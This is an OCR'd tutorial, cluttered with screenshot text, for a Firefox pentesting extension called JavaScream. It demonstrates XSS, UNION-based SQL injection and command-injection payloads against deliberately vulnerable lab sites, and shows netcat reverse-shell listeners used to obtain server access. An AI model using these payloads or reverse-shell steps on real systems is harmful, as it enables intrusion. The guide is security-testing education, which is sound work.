INSTALLATION

- Clone the repository with ‘git clone https://github.com/dade1987/JavaScream.git’
- Run “Mozilla Firefox”

- Type ‘about:debugging’ in the URL bar

- On the left menu click ‘This Firefox’

- Under ‘Temporary Extensions’ click ‘Load Temporary Add-On”

From the cloned folder select the file ‘manifest.json’

Now you’ll see a rectangle on the bottom right side of the page.

Give me book's number and | give you book's name in my library.

Book's number Submit

)
#) saL injection-Mo... B Strumento di cattura eBAZR%O® > & 0, B

Click ‘JavaScream’ inside the new rectangele. You'll show you all the tool’s functionalities.
Click ‘MIN’ in the top side of the rectangle to re-minimize the window.



< @ sQLinjection

Home Page | Main Page

Give me book’s number and I give you book's name in my library. MIN
Book's number Sl Manual Fuzzer

Full URL https://website com/file.

HTTP Method (GET, POST., )

Optional Settings

Custom Cookie Value PHPSESSII|

| Additional Headers {"X-Forwarde
Attacker IP (RCE. SQLi)
Attacker Port (RCE. SQL1)

Fuzzer Settings

XSS Scan Enabled
SQLi Scan Enabled
RCE Scan Enabled
FormFuzzer Enabled
Cookies Fuzzer Enabled

Manual Fuzz

Normal Scan

Spider

Please Scan

Ok, let’s start with the explanations.

PASSIVE PAGE ANALYSIS

To make a passive page analysis:

- don’t select any checkbox and click “Normal Scan”
- the button “Please Scan” will become “Open Gui”
- click “Open GUI” and you'll see the following window:



localhost,

Scan Results

E

Manual Fuzzer

Body Source Suspicious Points Full URL https://website.com/file.

‘Window Memory Suspicious Points HTTP Method (GET, POST. ..)

JS Listeners Suspicious Points Params: {"id":"1", "name":"david"

JQuery Listeners Suspicious Points

Optional Settings

N L Custom Cookie Value PHPSESSII|
JQuery Document Listeners Suspicious Points

Additional Headers {"X-Forwarde
Cookie

Attacker IP (RCE. SQLi)
Headers

Attacker Port (RCE, SQLi)

Fuzzer Settings

[ XSS Scan Enabled

[ SQLi Scan Enabled

[0 RCE Scan Enabled

) FormFuzzer Enabled

[ Cookies Fuzzer Enabled

[ Customn Headers Fuzzer Enabled

Manual Fuzz

P ) saiection-Mo.. Bl Strumen

Actually we are seeing:

- the most significant code in the page body

Q

bugging - Runtir X £ llmio Dr

m: guida all vt

localhost,

Scan Results

E

Manual Fuzzer

Body Source Suspicious Points Full URL https: //website com/file.

Description Declaration HTTP Method (GET, POST, ...)

form JE

center”> <form actio method="post "> <p>Give me boo

Params: {"id":"1", "name":"david"

url lder="Full URL https://website.con/file.ext">¢/divs <divs<in

Optional Settings

Custom Cookie Value PHPSESSI|

Js One Line Comment Full URL https://uebsite.com/file.ext">¢/div> <div><input st

Additional Headers {"X-Forwarde
Window Memory Suspicious Points

Attacker IP (RCE. SQLi)
JS Listeners Suspicious Points

Attacker Port (RCE, SQLi)

JQuery Listeners Suspicious Points
Fuzzer Settings

[ XSS Scan Enabled

[ SQLi Scan Enabled

[0 RCE Scan Enabled

) FormFuzzer Enabled

[ Cookies Fuzzer Enabled

[ Customn Headers Fuzzer Enabled

JQuery Document Listeners Suspicious Points

Cookie

Headers

Manual Fuzz
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- the most interesting javascript loaded inside the current page
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bugging - Runtir X &3 llmio Drive - G
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Scan Results
MIN

Manual Fuzzer

Full URL https://website com/file.
HTTP Method (GET. POST. ..))

Params: {"id":"1", "name":"david'

Body Source Suspicious Points

Window Memory Suspicious Points

Description Function  Declaration Mapper

getrequest fo1 ok’ num

15.40°, params, {}).do

Reverse Map

Optional Settings
ditional Headers {"X-Forwarde|
Attacker IP (RCE, SQLi)

Attacker Port (RCE, SQLi)

Js One Line Comment

o', params, {}).done((d) => {}) f Reverse Map

Js One Line Comment

S5

n £02 () { one line comment. my password is 12345} Reverse Map

Js Multi Line Comment

B

n Fea (

a randon fo7( Reverse Map

post request

S

ok', number } $.post (document. location. pathname, params, {}

Reverse Map

Js One Line Comment

B

ion fe9 (

{11 ciao} Reverse Map

Heroku API Key

o
3

- "a4dbe8b7-5729-4ba0-8ce8-F20F493465a1" thi

Reverse Map

Fuzzer Settings

[ XSS Scan Enabled

[ SQLi Scan Enabled

[ RCE Scan Enabled

) FormFuzzer Enabled

[ Cookies Fuzzer Enabled

[ Custom Headers Fuzzer Enabled

JS Listeners Suspicious Points

JQuery Listeners Suspicious Points
JQuery Document Listeners Suspicious Points Manual Fuzz

Cookie

Headers

P ) samecton-Mo.. B strume

We can also open a little pathentesis.

If you click on the function name, opening the Developer Tools with the F12 key, you'll see the
function name with a little arrow on its right. If you click that small arrow then the debugger will
show you the function definition without time losses:

bugging - Runtirme / this-fir- X o X x € QL Injection

localhost

¥ | O Analisi pagina B D Debugger N Rete  {} Editorstili 20 M

Struttura

Scan Results

Puntidint
Body Source Suspicious Points

I8 testis

Full URL hitps://website.com/file. Punti di internuz
Punti diinterr

HTTP Method (GET. POST. ...) Punti di int,

Window Memory Suspicious Points

}

Description Function Declaration Parame: {"id":"1", "name" " david

getrequest f01 ok”, numbet
Custom Cookic Value PHPSESSIT
JsOneline 01 umber } $.&{ [ Additional Headers {"X-Forwarde

Comment params, {})

JsOneline 02 son o2 (| |Atacker IP (RCE. SQL)

Comment comment. my
Attacker Port (RCE. SQLi)

o
ol
g
=3
2,
©n
@
:t.
5
@
5

Js Multi foa n fea (
Line comment mul
Comment

post o7 ok, numbe
Ewoii Awisi log Info  Debug

request $.p0:
params, {}

Js One Line

Comment
Manual Fuzz

Heroku APl a "
Key aadbesb7 -5
F2df493465a’

Normal Scan

Spider

JS Listeners Suspicious Points

g
g
W

JQuery Listeners Suspicious Points
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If you click the link “Reverse Map” you can see which functions go into the called method, and
you'll see the Entry Point of the called method itself:

@ . . Ep G . X : quida i < @ sQL injection

O D & locakhost

Scan Results
MIN

Manual Fuzzer
Body Source Suspicious Points Full URL hitps://website.com/filc minj:

15 et
Window Memory Suspicious Points HTTP Method (GET. POST. )

Description Function  Declaration Mapper Params: {"1d"-"1", "name""david"

get request fo1 ok’, number } § i o', s ) Reverse Map Optional Settings

Js One Line Comment ( 1s.io", s, (1) ) Reverse Map Custom Cookie Value PHPSESSIT|
Js One Line Comment tion £02 () one line comment. my password is 123 Reverse Map | [ ers ("X Forwarde
Js Multi Line Comment fea () { /* this is a random comment multiline */ fe7( Reverse Map
Attacker IP (RCE, SQLi)
post request number } $.post(document. location.pathnane, params, {}

Attacker Port (RCE. SQLD)
Js One Line Comment t () { 1/ ciao} Reverse Map

Heroku API Key ey = 'aadbe8b7-5720-4ba0-8c08- F2dF403465a1" this.re reverse vap | Fuzzer Settings

[ XSS Scan Enabled

[ SQLi Scan Enabled

JS Listeners Suspicious Points [ RCE Scan Enabled

[ FormFuzzer Enabled

JQuery Listeners Suspicious Points [ Cookies Fuzzer Enabled

[ Custom Headers Fuzzer Enabled

JQuery Document Listeners Suspicious Points Manual Fuzz

Cookie Normal Scan

Headers

#9 sa injection-Mo.. - strume 32 Windows PowerShel

In this case f07() is in depth 0 because it’s just called. f07() starts from f04() at depth 1. f04() can
starts from both fO3() or f05 at depth 2. f03() starts from f01() at depth 3.

We can represent the call stack using this scheme:

f01() f03()

f04() fo7()

fo5()




Chat

mirro ® (1) WhatsApp / Debugging - Runtime / this-fi 3 1l mio Driv Document

am: guida allu

localhost

oD

Scan Results

Body Source Suspicious Points

Window Memory Suspicious Points

JS Listeners Suspicious Points

Description Function Declaration

something on mysql onclick bnclick(event) {mysal update('paid')}

JQuery Listeners Suspicious Points
JQuery Document Listeners Suspicious Points
Cookie

Headers

trumento di cattura

- here you have page’s haders and cookies

ugging - Runtime, 3 1l mio Driv am: quida allu Document

localhost,

Scan Results

Body Source Suspicious Points
Window Memory Suspicious Points
JS Listeners Suspicious Points
JQuery Listeners Suspicious Points
JQuery Document Listeners Suspicious Points
Cookie
page="pagina_pagamento"

Headers

#9 Document - M #9 Strumenti disilup.. Bl Strumento di cattura

here you can see the JS, jQuery and document listeners, containing suspect code

z

anual Fuzzer

Full URL https://website com/file.

HTTP Method (GET, POST, ...)

Params: {"id":"1", "name":"david"

Custom Cookie Value PHPSESSII|

| Additional Headers {"X-Forwarde
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£ |2 =1
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@

Fuzzer Settings

[0 XSS Scan Enabled

[ SQLi Scan Enabled

[ RCE Scan Enabled

) FormFuzzer Enabled

[ Cookies Fuzzer Enabled

[ Custom Headers Fuzzer Enabled

Manual Fuzz
Normal Scan
pider

OPEN GUI BUTTON

z

Params: {"id":"1", "name":"david"

Optional Settings

Custom Cookie Value PHPSESSII|
Additional Headers {"X-Forwarde
Attacker IP (RCE. SQLi)

Attacker Port (RCE, SQLi)

Fuzzer Settings

[ XSS Scan Enabled

[ SQLi Scan Enabled

[ RCE Scan Enabled

) FormFuzzer Enabled

[ Cockies Fuzzer Enabled

[ Custom Headers Fuzzer Enabled

Manual Fuzz

Normal Scan




If you want to see what resources are recursively called from the current page, we have also
another scanner: the “Spider”

In this example we are using a vulnerable website expressly studied for pentesting.

In the results we can see some links. Someone contain some GET params, too.

mio

MIN
Manual Fuzzer

IFuH URL https:/website.com/file.ext

Scan Results

https://google-gruyere.appspot.com/415047518450580981245625636016033665440/

[HTTP Method (GET, POST, ..

https://google-gruyere.appspot.com/415047518459580981245625636016033665440/login

IParams {'id""1", "name""david" } )

https://google-gruyere.appspot.com/41504751845958098 12456265636016033665440/newaccount.gtl

Optional Settings

ICuStDm Cookie Value PHPSESSID=123

https://google-gruyere.appspot.com/415047518459580981245625636016033665440/#

IAdd\I\Dna\ Headers {"X-Forwarded-For""

https:/fimages.google.com/?q=cheddar+cheese

hitps://google-gruyere.appspot.com/41504751845058098 1245625636016 033665440 snippets.gtluid=brie [Atacker IP RCE. sQL)

https://news.google.com/news/search?q=brie IA“aCker Port (RCE, SQLiy

Fuzzer Settings

[ XSS Scan Enabled

1 SQLi Scan Enabled

[ RCE Scan Enabled

[ FormFuzzer Enabled

[ Cookies Fuzzer Enabled

[ Custom Headers Fuzzer Enabled

Manual Fuzz

Normal Scan

Spider

OPEN GUIBUTTON

ACTIVE PAGE ANALYSIS

We have two types of Active Scanners:
“Manual Fuzzer” and “Normal Scan with checked boxes”

Let’s start from Normal Scan: it makes undifferentiated scanning of the whole page.

- Let’s visit the url
“https://google-gruyere.appspot.com/415047518459580981245625636016033665440/snip
pets.gtl?uid=cheddar”

- Let’s click “XSS Scan Enabled” and “Form Fuzzer”

- Let’'s run “Normal Scan”

- Let's click “Open GUI”

- Clicking the section “URL XSS Vulnerabilities” this window will appear:



https://google-gruyere.appspot.com/415047518459580981245625636016033665440/snippets.gtl?uid=cheddar
https://google-gruyere.appspot.com/415047518459580981245625636016033665440/snippets.gtl?uid=cheddar

MIN
Manual Fuzzer

IFuH URL https://website com/file ext

Body Source Suspicious Points

Window Memory Suspicious Points

[HTTP Method (GET, POST, ..)

JS Listeners Suspicious Points

[Params: {17, name""david })
Cookie

Optional Settings

ICustom Cookie Value PHPSESSID=123

Headers

IAdd\I\Dna\ Headers {"X-Forwarded-For""
URL XSS Vulnerabilities

[Attacker 1P (RCE, sQLI)

[Attacker Port (RCE, sQLi)

g gruy ppspot.com| GET uid cheddar<script>alert("XSS_VULNERABLE_PARAM"|
50475184595809812456256360 16033665440 </script>

Fuzzer Settings

XSS Scan Enabled

[J SQLi Scan Enabled

1 RCE Scan Enabled

FormFuzzer Enabled

[ Cookies Fuzzer Enabled

[ Custom Headers Fuzzer Enabled

https://google-gruyere.appspot.com GET cheddar"><script>alert("XSS_VULNERABLE_PARAI
14150475184595809812456256360 16033665440 </script><div class="
Isnippets.gtl

https://google-gruyere.appspot.com GET
14150475184595809812456256360 16033665440

Isnippets.gtl

cheddar<svg/onload=alert("XSS_VULNERABLE_PAf

Form Vulnerabilities

¥ Gruyere Snippets-.. Bl Strumento di cattura

- let's see immediately the url
“https://google-gruyere.appspot.com/415047518459580981245625636016033665440/snip
pets.atl” contains a XSS vulnerability on the param “uid”

- Let’s try to open the UR copying the first value associated with the paramName, and we’ll
obtain:

X (® Whatshpp X Debugging - Runtime / | X

Ok, the site is really vulnerable! The page doesn’t contain forms, then the form fuzzer didn’t run.
Then the section “Form Vulnerabilies” was empty.


https://google-gruyere.appspot.com/415047518459580981245625636016033665440/snippets.gtl
https://google-gruyere.appspot.com/415047518459580981245625636016033665440/snippets.gtl

Let's move on to something more crunchy... here we have a simple form. If we write an “id” we’'ll
see a book name associated with it, and an author, too. There aren’t URL (or GET) params in this

page.
Let’s see if the database is well protected...
Check the box “SQLiScan Enabled” and “Form Fuzzer”, while we are working with a “form”.

Now “URL SQL Injection Vulnerabiliteis” will be obiviously empty, but look at the “Form
Vulnerabilities” section:

JQuery Listeners Suspicious Points

MIN
Manual Fuzzer

JQuery Document Listeners Suspicious Points

Full URL https:/website.com/file.

Cookie

Headers

HTTP Method (GET. POST. ..))

URL SQL Injection Vulnerabilities

Optional Settings

Additional Headers {"X-Forwarde

Form Vulnerabilities

url PayloadType Remote

0 union select
918273645,918273645

number

Attacker Port (RCE, SQLi)

Fuzzer Settings

[ XSS Scan Enabled

SQLi Scan Enabled

[ RCE Scan Enabled

® FormFuzzer Enabled

[ Cookies Fuzzer Enabled

SQL Injection  Tny [ Custom Headers Fuzzer Enabled

http://localt
master/SQL/sql2.php

SQL Injection T

0 union select
918273645,918273645--

http//localt number

master/SQL/sql2.php

SQL Injection  Try

http://localt v pplicati POST number 0 union select

master/SQL/sql2.php 918273645,918273645#

SQL Injection  Try

http//localt v pplicati number 0 union select

master/SQL/sql2.php 918273645,918273645

SQL Injection

http//localt number 0 union select

master/SQL/sql2.php 918273645,918273645--

number 0 union select

httpi//localh 5L Injection

master/SQL/sql2.php 918273645,918273645#

The “form action script” is vulnerable to SQL injection!
Try to copy the payload inside the “form”, and replace the last union select value with version().

We’'ll see the MySq| version!



< @ sQLinjection

Home Page | Main Page
Give me book's number and I give you book's name in my library.

Book's number Submit

918273645 ----> [EE]

#9 5ot injection-Mo.. L. Strumento di cattura

The website is certainly vulnerable to SQL Injection, a very dangerous vulnerability.

Now let’s try another thing. Sometimes we can obtain a direct access to the server bash, only

exploiting the SQL database.

Let’'s open “netcat -lvnp 1234” (or ncat in windows).

Let’s set the attacker IP e attacker Port (your ip and a random port - in this case 1234)

x WhatsApp x ebugging - Runtime / this-fir- mio Drive - GoogleDrive X B8 JavaScrear: guida all utiizzo - | X dade1987/JavaScream: This toc SQL Injection
WhatsApp / Debugging - R h Gy S guida all utl €) dade1987/Javass Th saLl

QO O 5 locahost/Vulnerable-Web-Application-master/SQL/sql2.php
Home Page| Main Page
Give me book’s number and I give you book's name in my library,

Book's number : Submit

918273645 --—-> 5.7.33

#9 sal injection-Mo... L. Strumento dicattura 32 Windows PowerShell

Manual Fuzzer

Full URL https://website com/file.
HTTP Method (GET, POST, ...)

Params: {"id":"1", "name":"david'

Optional Settings

Custom Cookie Value PHPSESSII|
| Additional Headers {"X-Forwarde

192.168.137.1

Fuzzer Settings

XSS Scan Enabled

SQLi Scan Enabled

RCE Scan Enabled

FormFuzzer Enabled
< E:

Cookies Fi nabled

uzzer Enabled

s

OPEN GUI B! 'ON

q




Let’s click “Try”

® whatsa x ebugging - Runtime  this

O DO 2 locakhost,

JQuery Listeners Suspicious Points

52 Windows Powershell 5 Manual Fuzzer

Windows Powershell Full URL https://website.com/file.
Copyright (C) Microsoft Corporation. Tutti i itti riservati
Installa la \ e pil recente di 11 per nuove funzionalitd e miglioramenti. https://aka.ms/PSWindows HTTP Method (GET, POST. ..)

PS C:\Users\d
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234

Params: {"id":"1", "name":"david'

Optional Settings

° Custom Cookie Value PHPSESSII|
uname

Linux LAPTOP-I702TPUN 5.10.162.1-microsoft-standard-WsL2 #1 SMP Wed Mar 2 ©0:30:59 UTC 2 4 GNU/Lin

PayloadType
u

Additional Headers {"X-Forwarde

192.168.137.1
1234

Fuzzer Settings

[ XSS Scan Enabled

SQLi Scan Enabled

[ RCE Scan Enabled

FormFuzzer Enabled

[ Cookies Fuzzer Enabled

SQL Injection  Try [ Custom Headers Fuzzer Enabled

SQL Injection 11§

SQL Injection

QL Injection

QL Injection

http//localt number 0 union select
master/SQL/sql2.php 918273645,918273645#

QL Injection

dicattra 3. WindowsPowerShell

Et voila. We have obtaind the full server access, only by exploiting MySql. Now we can make all
operations inside the server, or we could also try to escalate privileges.

Now let’s try to look for Remote Code Execution vulnerabilities inside another page.
Let’'s open netcat -lvnp 2222 and set Attacker Ip and Port (in this case the port will be 2222).

Let’s check the “RCE Scan Enabled” and “FormFuzzer Enabled” boxes.



B miror- Chat < @ Whaisapp S x e x [ JeveScrear guida alfutlizzo-[X ) dde’ 5 x @ Commanderec

< [¢] O D 32 locahost/Vulnerable-

Home Page | Main Page

Login as Admin Manual Fuzzer
Username: Full URL https://website com/file.
Admin
Password: HTTP Method (GET, POST
Params: d":"1", "name":"david'
Submit

Optional Settings

Value PHPSESSIL

Custom Cookic

nal Headers {"X-Forwarde

192.168.137.1

Fuzzer Settings

XSS Scan Enabled
SQLi Scan Enabled
RCE Scan Enabled
FormFuzzer Enabled
Cookies Fuzzer Enabled
Custom Headers Fuzzer Enabled

Manual Fuzz

Please Scan

trumento di cattura Windows PowerShell

Let’s run “Normal Scan”

B v - Chat < @ Whotsapp . : X @ limio D

< [¢] O D & localhost/Vu

Home Page | Main Page

B Windows Powershell x  + Manual Fuzzer
PS C:\Users\david> ncat 2222 E—
Username: on 7.92 ( https://nmap.org/ncat ) Full URL brtps://website.com/file.
Admin istening on :::2222
istening on 6.6.0.8: HTTP Method (GET, POST,
Password: onnection from 192.

onnection from 192.168.137.

Params: {"id":"1", "name":"david'

a
Submit inux LAPTOP-I7@2TPUN 5.10.102.1-microsoft-standard-wSL2 #1 SMP Wed Mar 2 8:30:59 UTC 2022 x86_64 x86_6U x86_6U GNU/Lin

Optional Settings

Custom Cookie Value PHPSESSII|

Additional Headers {

192.168.137.1

Fuzzer Settings

XSS Scan Enabled
SQL1 Scan Enabled
RCE Scan Enabled
FormFuzzer Enabled
Cookies Fuzzer Enabled
Custom Headers Fuzzer Enabled

Manual Fuzz

Loadi

#9) CommandExec-1-. Strumento di cattura

We are inside the server again. If we didn’t set the attacker Ip and Port, we obtained all the
vulnerable params inside the forms, into the section “Form Vulnerabilities”, exactly like this:



® . Debugging - Runtime/ this-fir- X &3 Il mio Driv eDrve X vaScrearr rutifzzo -1 X € : x mandExec-1

O D & locakhost

JS Listeners Suspicious Points

z

anual Fuzzer

JQuery Listeners Suspicious Points

JQuery Document Listeners Suspicious Points Full URL https://website com/file.

Cookie HTTP Method (GET. POST. ..)

Headers Params: {"id":"1", "name":"david"

URL RCE Vulnerabilities

Optional Settings

Custom Cookie Value PHPSESSII|
Form Vulnerabilities

Additional Headers {"X-Forwarde
url

192.168.137.1

http://localt Web-Application-master GET username  Admin” && echo RCE

/CommandExecution/CommandExec-1.php TEST_RCE && " 2222

http://localh Inerable-Web-Application-master GET username  Admin1” && echo RCE :
/C:mmandExecut\or\/CDmmandExe"c’inh TEST_RCE # Fuzzer Settings

[] XSS Scan Enabled

[ SQLi Scan Enabled

& RCE Scan Enabled

© FormFuzzer Enabled

[ Cockies Fuzzer Enabled

[ Custom Headers Fuzzer Enabled

httpi//localhost Web-Application-master GET username  Admin” && echo RCE
/CommandExecution/CommandExec-1.php TEST_RCE && "

http://localt Web-Application-master GET username  Admin1” && echo RCE
/CommandExecution/CommandExec-1.php TEST_RCE #

http://localt Web-Application-master GET username  Admin” && echo RCE
/CommandExecution/CommandExec-1.ph TEST_RCE &8 "

http://localt Web-Appli master GET username  Admin1” && echo RCE
/CommandExecution/CommandExec-1.phy TEST_RCE #

#9 Commendéxec-1-.. [ stumento di catiura Windows PowerShell

Ok. Let’'s make another example:

in the suspect elements inside the “Window Memory Suspicious Points” we found this particular
method:

Al mio Driv

©) dad

ugging - Runtime.

am: guida allu

Ja X Document

localhost,

Scan Results

anual Fuzzer

Body Source Suspicious Points Full URL https://website.com/file.

‘Window Memory Suspicious Points HTTP Method (GET. POST. ..)

Params: {"id":"1", "name"-"david"

Description Function  Declaration

Mapper

post request pay hction pay() { $.post(‘awaitPayment.php’, { amount: §(“#amoy] Reverse Map

Optional Settings

php file pay t(*auaitPayment .php’, { amount: $("#amount").val() }).done(( Reverse Map Custom Cookie Value PHPSESSII]
Additional Headers {"X-Forwarde
JS Listeners Suspicious Points
Attacker TP (RCE, SQLi)

JQuery Listeners Suspicious Points

Attacker Port (RCE, SQLi)

JQuery Document Listeners Suspicious Points

Fuzzer Settings

[J XSS Scan Enabled

[] SQLi Scan Enabled

[J RCE Scan Enabled

[ FormFuzzer Enabled

[ Cookies Fuzzer Enabled

[ Custom Headers Fuzzer Enabled

Cookie

Headers
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“nction pay() { $.post(‘awaitPayment.php', { amount: $("#amou”

Let’s click on “pay” and we see this method definition:



Scan Results

Ma.nual Fuzzer

Body Source Suspicious Points

Full URL https://website.com/file.

Window Memory Suspicious P

HTTP Method (GET, POST. )

Parame: {"id":"1", "name":"david’

Description Function

post request pay Optional Settings

php file Custom Cookie Value PHPSESSIL

pay

Additional Headers {"X-Forwarde

Attacker IP (RCE, SQLi)
Attacker Port (RCE, SQLi)

JS Listeners Suspicious Points

JQuery Listeners Suspicious Poi

JQuery Document Listeners Sug )
Fuzzer Settings
[] XSS Scan Enabled
[] SQLi Scan Enabled
[] RCE Scan Enabled
[] FormFuzzer Enabled

Cookie

Headers

Manual Fuzz
,,,,,,, Normal Scan

Spider

OPEN GUI BUTTON

#9 Document— Mozill.  #4) Strumenti 6 svilup. | di cattura Windows PowerShel EBMAZRGO® ;<

function pay() {
$.post(‘awaitPayment.php', { amount: $("#amount").val() }).done((d) => { alert(d) })

How can we effortlessly test it?

- Let’s write “http://localhost/test/awaitPayment.php” inside the “Full URL” input

- Let's set the “HTTP Method” to post, because it's “$.post()”

- Let’s set the “amount” param into the “Params” section, like a JS Object:
Example: {*amount”:"1.50"}

- Let’s check all the checkboxes

- Now let’s click “Manual Fuzzer”

Because we checked all the checkboxes, the tool will try to inject all the payloads inside the page
params, into the cookies and eventually also additional headers.

Let’'s open the GUI and we’ll get the following result:



op x g - Runim X &3 llmio Driv ve X v v guida allutiizzo - | X Document

D) D == localhost

Scan Results

Form Vulnerabilities

url PayloadType  Remote Shell

http://localhost/test/awaitPayment.php amount 1.50" && echo TEST RCE&& " RCE

http//localhost/test/awaitPayment.php amount 1.501" && echo TEST_RCE # RCE

Cookies Vulnerabilities

Headers Vulnerabilities

trumentidisvilup... o Strumento dicatiura 5. Windows Powershell

ng - Runtime / this-fir- X €3 Il mio Driv ve X v uida allutilizzo - X Document
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Fuzzer Settings
XSS Scan Enabled

menti di svilup.

In this case the page is vulnerable to RCE, then we could take the full server access again.

NOTES

The software is studied to be easily implemented

If you want to collaborate on our Open Source project, write to Davide Cavallini, via a message to the Linkedin profile
https://www.linkedin.com/in/davidecavallini/

Good fun!



